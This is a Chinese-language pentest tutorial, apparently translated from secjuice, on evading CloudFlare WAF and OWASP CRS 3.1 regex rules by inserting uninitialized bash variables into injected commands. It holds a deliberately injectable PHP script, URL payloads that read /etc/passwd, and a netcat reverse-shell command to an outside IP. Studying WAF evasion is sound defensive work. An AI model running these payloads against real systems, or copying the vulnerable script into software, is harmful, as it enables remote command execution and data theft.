繞過CloudFlare WAF和OWASP CRS 3核心規則集
Web應用防火牆通常會被部署在Web客戶端與Web伺服器之間,以過濾來自伺服器的惡意流量。而作為一名滲透測試人員,想要更好的突破目標系統,就必須要了解目標系統的WAF規則,以及想辦法繞過該規則。本文將以CloudFlare WAF和ModSecurity OWASP CRS3為例,為大家進行演示如何使用未初始化的Bash變數,來繞過基於WAF正則表達式的過濾器和模式匹配。
未初始化變數
在之前兩篇關於過WAF的文章中,我為大家介紹了如何在Linux系統上通過濫用bash globbing進程,來繞過WAF規則集並執行遠程命令的技巧。在本文中我將向大家展示另一種,使用未初始化bash變數繞過基於正則表達式的過濾器和模式匹配的技巧。
echo "uninitialized_variable=$uninitialized_variable"
未初始化變數的值為null(根本沒有值)。
uninitialized_variable=
可以看出,聲明但未初始化和直接設為空值是相同的。
默認情況下,Bash會像Perl那樣處理未初始化的變數:即視為空字元串!讓我們從一個例子開始。
假設我們要執行cat /etc/passwd命令,我們可以使用以下語法:
cat$u /etc$u/passwd$u
可以看到,其中
$u
會被bash視為空字元串,且對結果輸出也沒有任何的影響。我們可以簡單的驗證下,通過echo命令列印$u。
如下:我們可以利用這個特性來繞過WAF規則,讓我們使用CloudFlare WAF和ModSecurity OWASP核心規則集3.1進行一些測試。
CloudFlare WAF (pro plan)
和之前一樣,我將在一個非常簡單的PHP腳本上測試這種繞過技術。需要說明的是,我的測試並不針對CloudFlare WAF,測試的主要目的是為了提醒開發人員注重代碼的安全性,以及知道可以採取哪些措施來修復或編寫自定義的規則。
我啟用了CloudFlare WAF所有的規則,並將安全級別調到了最高(似乎所有規則都基於OWASP CRS2……)。
簡單的PHP測試腳本
<?php
if(isset($_GET["host"])) {
system("dig ".$_GET["host"]);
}
?>
該腳本使用dig來解析主機GET參數上的給定主機名,例如:
/?host=www.google.com
響應結果:
顯然,我們只需在主機名後加一個分號,就可以實現RCE攻擊,例如:
/?host=www.google.com;ls+/
那麼,我是否可以讀取cat /etc/passwd文件呢? 讓我們來嘗試下:
/?host=www.google.com;cat+/etc/passwd
如上所示,WAF規則集阻止了我的請求。現在,讓我們嘗試使用未初始化變數繞過該規則集。
/?host=www.google.com;cat$u+/etc$u/passwd$u
請求放行!我成功讀取到了/etc/passwd文件中的內容。
CloudFlare有一些特定的規則來防止使用netcat獲得反向shell,我決定嘗試繞過它們。這裡我將所有
CloudFlare Specials
上的規則設置為了「block
」。首先,我嘗建立一個nc反向shell。
不出所料,CloudFlare阻止了我的請求。現在,我們在nc和/bin/bash後添加一些未初始化的bash變數,如下:
nc$u -e /bin$u/bash$u 1.2.3.4 1337
成功繞過並獲取到了一個反向shell!
ModSecurity OWASP CRS3.1
使用CRS3.1後繞過難度大大增加,尤其是將Paranoia Level調到3後(CRS3上共有Paranoia Level 1~ 4 四個級別,第四個級別幾乎無法繞過),這也是我喜歡CRS3的眾多原因之一。
與CloudFlare上發生的情況不同,將CRS3.1級別調到Paranoia Level 3後,我的第一個測試被932100規則阻止,原因是「Unix命令注入」:
那麼,我們該如何繞過這條規則呢?我嘗試使用未初始化變數以 ;
?host=www.google.it;+$u+cat+/etc/passwd
可以看到,932100規則成功被繞過!但由於主機參數中包含etc/passwd字元串,我的請求再次被阻止。我能做的是在etc/passwd路徑中,添加更多的未初始化變數,如下:
?host=www.google.it;+$u+cat+/etc$u/passwd$u
與CloudFlare WAF不同,如果我們將CRS3.1的Paranoia Level調為3,那麼我們幾乎不可能繞過以雙引號包含$_GET[『host』]的PHP腳本。不信我們可以試一試:
<?php
if(isset($_GET["host"])) {
system("dig "".$_GET["host"].""");
}
?>
有了雙引號後,除了分號之外我們還需要閉合或注釋掉前後的雙引號。例如:
/?host=www.google.it";cat+/etc/passwd+#
你可能會問,RCE payload中添加了這麼多額外的字元,難道不會被CloudFlare阻止嗎?我們來看結果~成功繞過!
之所以無法繞過CRS3 Paranoia Level 3,主要是由於以下兩條規則:
942460 元字元異常檢測警報 - 非單字字元重複:
由於「
,;
,/
和
$
字元,導致請求被阻止。
942260 檢測基本SQL身份驗證繞過嘗試 2/3:
嘗試使用特殊字元,導致請求被阻止。
而如果將Paranoia Level降至2,就可以被繞過。
/?host=www.google.it";+$u+cat+/etc$u/passwd+#
總結
為什麼阻止此類請求會如此困難?為什麼WAF不阻止參數值中的$字元?原因很簡單,因為那樣會導致出現許多誤報的情況。恕我直言,相比之下我更認同CRS3的做法,只在單個值中找到4個或更多重複的非單字字元時才進行阻止。這比阻止特定的字元更加聰明有效,且誤報率也更低。
*參考來源:
secjuice,
FB小編 secist 編譯,轉載請註明來自FreeBuf.COM
※Gartner 2018 年WAF魔力象限報告:雲WAF持續增長
※我下載了20幾款App,發現了這些坑
TAG:FreeBuf |